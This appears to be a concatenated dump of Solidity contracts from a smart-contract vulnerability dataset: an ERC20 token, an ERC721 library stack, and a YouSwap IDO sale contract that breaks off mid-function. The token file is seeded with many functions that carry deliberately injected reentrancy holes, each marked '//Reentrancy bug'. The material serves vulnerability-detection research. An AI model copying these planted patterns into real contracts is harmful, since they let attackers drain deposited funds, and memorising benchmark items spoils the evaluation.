balances_re_ent21[msg.sender] = 0;
}
function decimals() public view returns (uint8) {
return _decimals;
}
uint256 counter_re_ent21 =0;
function callme_re_ent21() public{
require(counter_re_ent21<=5);
msg.sender.call.value(10 ether)("") ; //Reentrancy bug
revert();
counter_re_ent21 += 1;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
mapping (address => uint) private balances_re_ent20;
mapping (address => bool) private disableWithdraw_re_ent20;
function deposit_re_ent20() public payable {
balances_re_ent20[msg.sender] += msg.value;
}
function withdrawBalance_re_ent20() public {
require(disableWithdraw_re_ent20[msg.sender] == false);
uint amountToWithdraw = balances_re_ent20[msg.sender];
if (amountToWithdraw > 0) {
msg.sender.call.value(amountToWithdraw)(""); //Reentrancy bug
disableWithdraw_re_ent20[msg.sender] = true;
balances_re_ent20[msg.sender] = 0;
}
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
address lastPlayer_re_ent2;
uint jackpot_re_ent2;
function deposit_re_ent2() public payable{
uint amount = msg.value;
jackpot_re_ent2 = amount;
}
function buyTicket_re_ent2() public{
(bool success,) = lastPlayer_re_ent2.call.value(jackpot_re_ent2)(""); //Reentrancy bug
if(!success)revert();
lastPlayer_re_ent2 = msg.sender;
jackpot_re_ent2 = address(this).balance;
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
uint lockTime19;
mapping (address => uint) private balances_re_ent19;
function deposit_re_ent19() public payable {
balances_re_ent19[msg.sender] += msg.value;
}
function transfer_re_ent19(address to, uint amount) public {
if (balances_re_ent19[msg.sender] >= amount) {
balances_re_ent19[to] += amount;
balances_re_ent19[msg.sender] -= amount;
}
}
function withdrawBalance_re_ent19() public {
uint amountToWithdraw = balances_re_ent19[msg.sender];
require(now>lockTime19+60 days);
if (amountToWithdraw > 0) {
lockTime19 = now;
msg.sender.call.value(amountToWithdraw)(""); //Reentrancy bug
balances_re_ent19[msg.sender] = 0;
lockTime19 = now - 60 days;
}
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
mapping (address => uint) private balances_re_ent18;
mapping (address => bool) private disableWithdraw_re_ent18;
function deposit_re_ent18() public payable {
balances_re_ent18[msg.sender] += msg.value;
}
function transfer_re_ent18(address to, uint amount) public {
if (balances_re_ent18[msg.sender] >= amount) {
balances_re_ent18[to] += amount;
balances_re_ent18[msg.sender] -= amount;
}
}
function withdrawBalance_re_ent18() public {
require(disableWithdraw_re_ent18[msg.sender] == false);
uint amountToWithdraw = balances_re_ent18[msg.sender];
if (amountToWithdraw > 0) {
disableWithdraw_re_ent18[msg.sender] = true;
msg.sender.call.value(amountToWithdraw)(""); //Reentrancy bug
disableWithdraw_re_ent18[msg.sender] = false;
balances_re_ent18[msg.sender] = 0;
}
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
mapping(address => uint) balances_re_ent17;
function withdrawFunds_re_ent17 (uint256 _weiToWithdraw) public {
require(balances_re_ent17[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
(bool success,)=msg.sender.call.value(_weiToWithdraw)(""); //Reentrancy bug
require(success); //bug
balances_re_ent17[msg.sender] -= _weiToWithdraw;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
mapping (address => uint) balances_re_ent16;
modifier hasBalance_re_ent16(){
require(balances_re_ent16[msg.sender] > 0);
_;
balances_re_ent16[msg.sender] = 0;
}
function addToBalance_re_ent16() public payable{
balances_re_ent16[msg.sender] += msg.value;
}
function withdraw_balances_re_ent16() public hasBalance_re_ent16{
uint amountToWithdraw = balances_re_ent16[msg.sender];
(bool success,) = msg.sender.call.value(amountToWithdraw)(""); //Reentrancy bug
if (!(success)) { revert(); }
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
bool not_called_re_ent15 = true;
function deposit_re_ent15() public payable{
not_called_re_ent15 = true;
}
function bug_re_ent15() public{
require(not_called_re_ent15);
(bool success,) = (msg.sender.call.value(1 ether)("")); //Reentrancy bug
if(! success){
revert();
}
not_called_re_ent15 = false;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
mapping(address => uint) redeemableEther_re_ent14;
function deposit_re_ent14() public payable{
uint amount = msg.value;
redeemableEther_re_ent14[msg.sender]+=amount;
}
function claimReward_re_ent14() public {
// ensure there is a reward to give
require(redeemableEther_re_ent14[msg.sender] > 0);
uint transferValue_re_ent14 = redeemableEther_re_ent14[msg.sender];
msg.sender.call.value(transferValue_re_ent14)(""); //bug //Reentrancy bug
redeemableEther_re_ent14[msg.sender] = 0;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
mapping(address => uint) balances_re_ent13;
function deposit_re_ent13() public payable{
uint amount = msg.value;
balances_re_ent13[msg.sender]+=amount;
}
function withdrawFunds_re_ent13 (uint256 _weiToWithdraw) public {
require(balances_re_ent13[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
(bool success,)= msg.sender.call.value(_weiToWithdraw)(""); //Reentrancy bug
require(success); //bug
balances_re_ent13[msg.sender] -= _weiToWithdraw;
}
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
address lastPlayer_re_ent12;
uint jackpot_re_ent12;
function deposit_re_ent12() public payable{
uint amount = msg.value;
jackpot_re_ent12 = amount;
}
function buyTicket_re_ent12() public{
(bool success,) = lastPlayer_re_ent12.call.value(jackpot_re_ent12)(""); //Reentrancy bug
if(!success)revert();
lastPlayer_re_ent12 = msg.sender;
jackpot_re_ent12 = address(this).balance;
}
function () payable external{
revert();
}
mapping(address => uint) balances_re_ent11;
function deposit_re_ent11() public payable{
uint amount = msg.value;
balances_re_ent11[msg.sender]+=amount;
}
function withdraw_balances_re_ent11 () public {
uint amount = balances_re_ent11[msg.sender];
(bool success,) =msg.sender.call.value(amount)(""); //Reentrancy bug
if (success)
balances_re_ent11[msg.sender] = 0;
}
}
| 223,698 | 285 |
04f4b7c1eb2ad1852aacb375fd32aee72af8530307c640a7443da672af80b71b
| 36,873 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x6f4cb0ed977d6dce6cc25dcd5f18229561f5136f.sol
| 4,708 | 18,034 |
pragma solidity ^0.5.0;
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
contract IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) public view returns (uint256 balance);
function ownerOf(uint256 tokenId) public view returns (address owner);
function approve(address to, uint256 tokenId) public;
function getApproved(uint256 tokenId) public view returns (address operator);
function setApprovalForAll(address operator, bool _approved) public;
function isApprovedForAll(address owner, address operator) public view returns (bool);
function transferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public;
}
contract IERC721Receiver {
function onERC721Received(address operator, address from, uint256 tokenId, bytes memory data)
public returns (bytes4);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
library Counters {
using SafeMath for uint256;
struct Counter {
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
contract ERC165 is IERC165 {
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
_registerInterface(_INTERFACE_ID_ERC165);
}
function supportsInterface(bytes4 interfaceId) external view returns (bool) {
return _supportedInterfaces[interfaceId];
}
function _registerInterface(bytes4 interfaceId) internal {
require(interfaceId != 0xffffffff);
_supportedInterfaces[interfaceId] = true;
}
}
contract ERC721 is ERC165, IERC721 {
using SafeMath for uint256;
using Address for address;
using Counters for Counters.Counter;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from token ID to owner
mapping (uint256 => address) private _tokenOwner;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to number of owned token
mapping (address => Counters.Counter) private _ownedTokensCount;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
constructor () public {
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
}
function balanceOf(address owner) public view returns (uint256) {
require(owner != address(0));
return _ownedTokensCount[owner].current();
}
function ownerOf(uint256 tokenId) public view returns (address) {
address owner = _tokenOwner[tokenId];
require(owner != address(0));
return owner;
}
function approve(address to, uint256 tokenId) public {
address owner = ownerOf(tokenId);
require(to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
function getApproved(uint256 tokenId) public view returns (address) {
require(_exists(tokenId));
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address to, bool approved) public {
require(to != msg.sender);
_operatorApprovals[msg.sender][to] = approved;
emit ApprovalForAll(msg.sender, to, approved);
}
function isApprovedForAll(address owner, address operator) public view returns (bool) {
return _operatorApprovals[owner][operator];
}
function transferFrom(address from, address to, uint256 tokenId) public {
require(_isApprovedOrOwner(msg.sender, tokenId));
_transferFrom(from, to, tokenId);
}
function safeTransferFrom(address from, address to, uint256 tokenId) public {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public {
transferFrom(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data));
}
function _exists(uint256 tokenId) internal view returns (bool) {
address owner = _tokenOwner[tokenId];
return owner != address(0);
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) {
address owner = ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
function _mint(address to, uint256 tokenId) internal {
require(to != address(0));
require(!_exists(tokenId));
_tokenOwner[tokenId] = to;
_ownedTokensCount[to].increment();
emit Transfer(address(0), to, tokenId);
}
function _burn(address owner, uint256 tokenId) internal {
require(ownerOf(tokenId) == owner);
_clearApproval(tokenId);
_ownedTokensCount[owner].decrement();
_tokenOwner[tokenId] = address(0);
emit Transfer(owner, address(0), tokenId);
}
function _burn(uint256 tokenId) internal {
_burn(ownerOf(tokenId), tokenId);
}
function _transferFrom(address from, address to, uint256 tokenId) internal {
require(ownerOf(tokenId) == from);
require(to != address(0));
_clearApproval(tokenId);
_ownedTokensCount[from].decrement();
_ownedTokensCount[to].increment();
_tokenOwner[tokenId] = to;
emit Transfer(from, to, tokenId);
}
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
internal returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes4 retval = IERC721Receiver(to).onERC721Received(msg.sender, from, tokenId, _data);
return (retval == _ERC721_RECEIVED);
}
function _clearApproval(uint256 tokenId) private {
if (_tokenApprovals[tokenId] != address(0)) {
_tokenApprovals[tokenId] = address(0);
}
}
}
contract IERC721Enumerable is IERC721 {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256 tokenId);
function tokenByIndex(uint256 index) public view returns (uint256);
}
contract ERC721Enumerable is ERC165, ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => uint256[]) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
constructor () public {
// register the supported interface to conform to ERC721Enumerable via ERC165
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256) {
require(index < balanceOf(owner));
return _ownedTokens[owner][index];
}
function totalSupply() public view returns (uint256) {
return _allTokens.length;
}
function tokenByIndex(uint256 index) public view returns (uint256) {
require(index < totalSupply());
return _allTokens[index];
}
function _transferFrom(address from, address to, uint256 tokenId) internal {
super._transferFrom(from, to, tokenId);
_removeTokenFromOwnerEnumeration(from, tokenId);
_addTokenToOwnerEnumeration(to, tokenId);
}
function _mint(address to, uint256 tokenId) internal {
super._mint(to, tokenId);
_addTokenToOwnerEnumeration(to, tokenId);
_addTokenToAllTokensEnumeration(tokenId);
}
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
_removeTokenFromOwnerEnumeration(owner, tokenId);
// Since tokenId will be deleted, we can clear its slot in _ownedTokensIndex to trigger a gas refund
_ownedTokensIndex[tokenId] = 0;
_removeTokenFromAllTokensEnumeration(tokenId);
}
function _tokensOfOwner(address owner) internal view returns (uint256[] storage) {
return _ownedTokens[owner];
}
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
_ownedTokensIndex[tokenId] = _ownedTokens[to].length;
_ownedTokens[to].push(tokenId);
}
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _ownedTokens[from].length.sub(1);
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
_ownedTokens[from].length--;
// lastTokenId, or just over the end of the array if the token was the last one).
}
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length.sub(1);
uint256 tokenIndex = _allTokensIndex[tokenId];
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
_allTokens.length--;
_allTokensIndex[tokenId] = 0;
}
}
contract IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
contract ERC721Metadata is ERC165, ERC721, IERC721Metadata {
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
}
function name() external view returns (string memory) {
return _name;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function tokenURI(uint256 tokenId) external view returns (string memory) {
require(_exists(tokenId));
return _tokenURIs[tokenId];
}
function _setTokenURI(uint256 tokenId, string memory uri) internal {
require(_exists(tokenId));
_tokenURIs[tokenId] = uri;
}
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
}
contract ERC721Full is ERC721, ERC721Enumerable, ERC721Metadata {
constructor (string memory name, string memory symbol) public ERC721Metadata(name, symbol) {
// solhint-disable-previous-line no-empty-blocks
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(!has(role, account));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(has(role, account));
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
contract Governable {
using Roles for Roles.Role;
event GovernorAdded(address indexed account);
event GovernorRemoved(address indexed account);
Roles.Role private _governors;
constructor () internal {
_addGovernor(msg.sender);
}
modifier onlyGovernor() {
require(isGovernor(msg.sender));
_;
}
function isGovernor(address account) public view returns (bool) {
return _governors.has(account);
}
function addGovernor(address account) public onlyGovernor {
_addGovernor(account);
}
function renounceGovernor() public {
_removeGovernor(msg.sender);
}
function _addGovernor(address account) internal {
_governors.add(account);
emit GovernorAdded(account);
}
function _removeGovernor(address account) internal {
_governors.remove(account);
emit GovernorRemoved(account);
}
}
contract ERC721MetadataMintable is ERC721, ERC721Metadata, Governable {
function mint(address to, uint256 tokenId, string memory tokenURI)
public
onlyGovernor
returns (bool)
{
_mint(to, tokenId);
_setTokenURI(tokenId, tokenURI);
return true;
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ERC721Classic is
ERC721Full,
ERC721MetadataMintable,
Ownable
{
constructor(string memory name, string memory symbol)
public
ERC721Full(name, symbol)
Ownable()
{} // solium-disable-line
}
| 216,216 | 286 |
b16f38fe7ced27b91136ead96a804175919c2b2d85a86aed53dd3ad6ddaba08e
| 15,436 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/IDO-0x59e6639bef44164ba44aa58771b94df30bc023a6.sol
| 3,529 | 11,700 |
pragma solidity = 0.5.16;
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "YouSwap: CALLER_IS_NOT_THE_OWNER");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "YouSwap: NEW_OWNER_IS_THE_ZERO_ADDRESS");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract IDO is Ownable {
using SafeMath for uint256;
//Private offering
mapping(address => uint256) private _ordersOfPriIDO;
uint256 public startHeightOfPriIDO;
uint256 public endHeightOfPriIDO;
uint256 public totalUsdtAmountOfPriIDO = 0;
uint256 public constant supplyYouForPriIDO = 5 * 10 ** 11;//50YOU
uint256 public reservedYouOfPriIDO = 0;
uint256 public constant upperLimitUsdtOfPriIDO = 500 * 10 ** 6;//500USDT
bool private _priOfferingFinished = false;
bool private _priIDOWithdrawFinished = false;
event PrivateOffering(address indexed participant, uint256 amountOfYou, uint256 amountOfUsdt);
event PrivateOfferingClaimed(address indexed participant, uint256 amountOfYou);
//Public offering
mapping(address => uint256) private _ordersOfPubIDO;
uint256 public constant targetUsdtAmountOfPubIDO = 5 * 10 ** 10;//5USDT
uint256 public constant targetYouAmountOfPubIDO = 5 * 10 ** 11;//50YOU
uint256 public totalUsdtAmountOfPubIDO = 0;
uint256 public startHeightOfPubIDO;
uint256 public endHeightOfPubIDO;
uint256 public constant bottomLimitUsdtOfPubIDO = 100 * 10 ** 6; //100USDT
bool private _pubIDOWithdrawFinished = false;
event PublicOffering(address indexed participant, uint256 amountOfUsdt);
event PublicOfferingClaimed(address indexed participant, uint256 amountOfYou);
event PublicOfferingRefund(address indexed participant, uint256 amountOfUsdt);
mapping(address => uint8) private _whiteList;
address private constant _usdtToken = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
address private _youToken;
uint256 public constant initialLiquidYou = 3 * 10 ** 12;//3 000 000YOU For initial Liquid
address private constant _vault = 0x6B5C21a770dA1621BB28C9a2b6F282E5FC9154d5;
uint private unlocked = 1;
constructor(address youToken) public {
_youToken = youToken;
startHeightOfPriIDO = 12047150;
endHeightOfPriIDO = 12048590;
startHeightOfPubIDO = 0;
endHeightOfPubIDO = 0;
}
modifier lock() {
require(unlocked == 1, 'YouSwap: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
function initPubIDO(uint256 startHOfPubIDO, uint256 endHOfPubIDO) onlyOwner public {
require(startHeightOfPubIDO == 0 && startHOfPubIDO > block.number && endHOfPubIDO > startHOfPubIDO, 'YouSwap:NOT_ALLOWED');
startHeightOfPubIDO = startHOfPubIDO;
endHeightOfPubIDO = endHOfPubIDO;
}
modifier inWhiteList() {
require(_whiteList[msg.sender] == 1, "YouSwap: NOT_IN_WHITE_LIST");
_;
}
function isInWhiteList(address account) external view returns (bool) {
return _whiteList[account] == 1;
}
function addToWhiteList(address account) external onlyOwner {
_whiteList[account] = 1;
}
function addBatchToWhiteList(address[] calldata accounts) external onlyOwner {
for (uint i = 0; i < accounts.length; i++) {
_whiteList[accounts[i]] = 1;
}
}
function removeFromWhiteList(address account) external onlyOwner {
_whiteList[account] = 0;
}
function claim() inWhiteList external lock {
require((block.number >= endHeightOfPriIDO && _ordersOfPriIDO[msg.sender] > 0)
|| (block.number >= endHeightOfPubIDO && _ordersOfPubIDO[msg.sender] > 0), 'YouSwap: FORBIDDEN');
uint256 reservedYouFromPriIDO = _ordersOfPriIDO[msg.sender];
if (block.number >= endHeightOfPriIDO && reservedYouFromPriIDO > 0) {
_ordersOfPriIDO[msg.sender] = 0;
_mintYou(_youToken, msg.sender, reservedYouFromPriIDO);
emit PrivateOfferingClaimed(msg.sender, reservedYouFromPriIDO);
}
uint256 amountOfUsdtPayed = _ordersOfPubIDO[msg.sender];
if (block.number >= endHeightOfPubIDO && amountOfUsdtPayed > 0) {
uint256 reservedYouFromPubIDO = 0;
if (totalUsdtAmountOfPubIDO > targetUsdtAmountOfPubIDO) {
uint256 availableAmountOfUsdt = amountOfUsdtPayed.mul(targetUsdtAmountOfPubIDO).div(totalUsdtAmountOfPubIDO);
reservedYouFromPubIDO = availableAmountOfUsdt.mul(10);
uint256 usdtAmountToRefund = amountOfUsdtPayed.sub(availableAmountOfUsdt).sub(10);
if (usdtAmountToRefund > 0) {
_transfer(_usdtToken, msg.sender, usdtAmountToRefund);
emit PublicOfferingRefund(msg.sender, usdtAmountToRefund);
}
}
else {
reservedYouFromPubIDO = amountOfUsdtPayed.mul(10);
}
_ordersOfPubIDO[msg.sender] = 0;
_mintYou(_youToken, msg.sender, reservedYouFromPubIDO);
emit PublicOfferingClaimed(msg.sender, reservedYouFromPubIDO);
}
}
function withdrawPriIDO() onlyOwner external {
require(block.number > endHeightOfPriIDO, 'YouSwap: BLOCK_HEIGHT_NOT_REACHED');
require(!_priIDOWithdrawFinished, 'YouSwap: PRI_IDO_WITHDRAWN_ALREADY');
_transfer(_usdtToken, _vault, totalUsdtAmountOfPriIDO);
_priIDOWithdrawFinished = true;
}
function withdrawPubIDO() onlyOwner external {
require(block.number > endHeightOfPubIDO, 'YouSwap: BLOCK_HEIGHT_NOT_REACHED');
require(!_pubIDOWithdrawFinished, 'YouSwap: PUB_IDO_WITHDRAWN_ALREADY');
uint256 amountToWithdraw = totalUsdtAmountOfPubIDO;
if (totalUsdtAmountOfPubIDO > targetUsdtAmountOfPubIDO) {
amountToWithdraw = targetUsdtAmountOfPubIDO;
}
_transfer(_usdtToken, _vault, amountToWithdraw);
_mintYou(_youToken, _vault, initialLiquidYou);
_pubIDOWithdrawFinished = true;
}
function privateOffering(uint256 amountOfUsdt) inWhiteList external lock returns (bool) {
require(block.number >= startHeightOfPriIDO, 'YouSwap:NOT_STARTED_YET');
require(!_priOfferingFinished && block.number <= endHeightOfPriIDO, 'YouSwap:PRIVATE_OFFERING_ALREADY_FINISHED');
require(_ordersOfPriIDO[msg.sender] == 0, 'YouSwap: ENROLLED_ALREADY');
require(amountOfUsdt <= upperLimitUsdtOfPriIDO, 'YouSwap: EXCEEDS_THE_UPPER_LIMIT');
require(amountOfUsdt > 0, "YouSwap: INVALID_AMOUNT");
require(reservedYouOfPriIDO < supplyYouForPriIDO, 'YouSwap:INSUFFICIENT_YOU');
uint256 amountOfYou = amountOfUsdt.mul(10);
//0.1USDT/YOU
if (reservedYouOfPriIDO.add(amountOfYou) >= supplyYouForPriIDO) {
amountOfYou = supplyYouForPriIDO.sub(reservedYouOfPriIDO);
amountOfUsdt = amountOfYou.div(10);
_priOfferingFinished = true;
}
_transferFrom(_usdtToken, amountOfUsdt);
_ordersOfPriIDO[msg.sender] = amountOfYou;
reservedYouOfPriIDO = reservedYouOfPriIDO.add(amountOfYou);
totalUsdtAmountOfPriIDO = totalUsdtAmountOfPriIDO.add(amountOfUsdt);
emit PrivateOffering(msg.sender, amountOfYou, amountOfUsdt);
return true;
}
function priOfferingFinished() public view returns (bool) {
return block.number > endHeightOfPriIDO || _priOfferingFinished;
}
function pubOfferingFinished() public view returns (bool) {
return block.number > endHeightOfPubIDO;
}
function publicOffering(uint256 amountOfUsdt) external lock returns (bool) {
require(block.number >= startHeightOfPubIDO, 'YouSwap:PUBLIC_OFFERING_NOT_STARTED_YET');
require(block.number <= endHeightOfPubIDO, 'YouSwap:PUBLIC_OFFERING_ALREADY_FINISHED');
require(amountOfUsdt >= bottomLimitUsdtOfPubIDO, 'YouSwap: 100USDT_AT_LEAST');
_transferFrom(_usdtToken, amountOfUsdt);
_ordersOfPubIDO[msg.sender] = _ordersOfPubIDO[msg.sender].add(amountOfUsdt);
totalUsdtAmountOfPubIDO = totalUsdtAmountOfPubIDO.add(amountOfUsdt);
emit PublicOffering(msg.sender, amountOfUsdt);
_whiteList[msg.sender] = 1;
return true;
}
function _transferFrom(address token, uint256 amount) private {
bytes4 methodId = bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(methodId, msg.sender, address(this), amount));
